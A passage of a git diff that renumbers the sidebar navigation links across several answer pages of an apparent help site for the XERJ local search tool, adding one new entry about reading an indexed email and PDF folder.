class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class="active"><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class="active"><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/share-local-search-index-through-a-tunnel.html b/landing/answers/share-local-search-index-through-a-tunnel.htmlindex 84b2460fa..5cb8ce476 100644--- a/landing/answers/share-local-search-index-through-a-tunnel.html+++ b/landing/answers/share-local-search-index-through-a-tunnel.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class="active"><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class="active"><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/store-agent-memory-without-llm-call.html b/landing/answers/store-agent-memory-without-llm-call.htmlindex d7fefc8ca..9345f2b89 100644--- a/landing/answers/store-agent-memory-without-llm-call.html+++ b/landing/answers/store-agent-memory-without-llm-call.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/syntax-aware-code-search-refactoring.html b/landing/answers/syntax-aware-code-search-refactoring.htmlindex 3396a2139..646231d00 100644--- a/landing/answers/syntax-aware-code-search-refactoring.html+++ b/landing/answers/syntax-aware-code-search-refactoring.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- 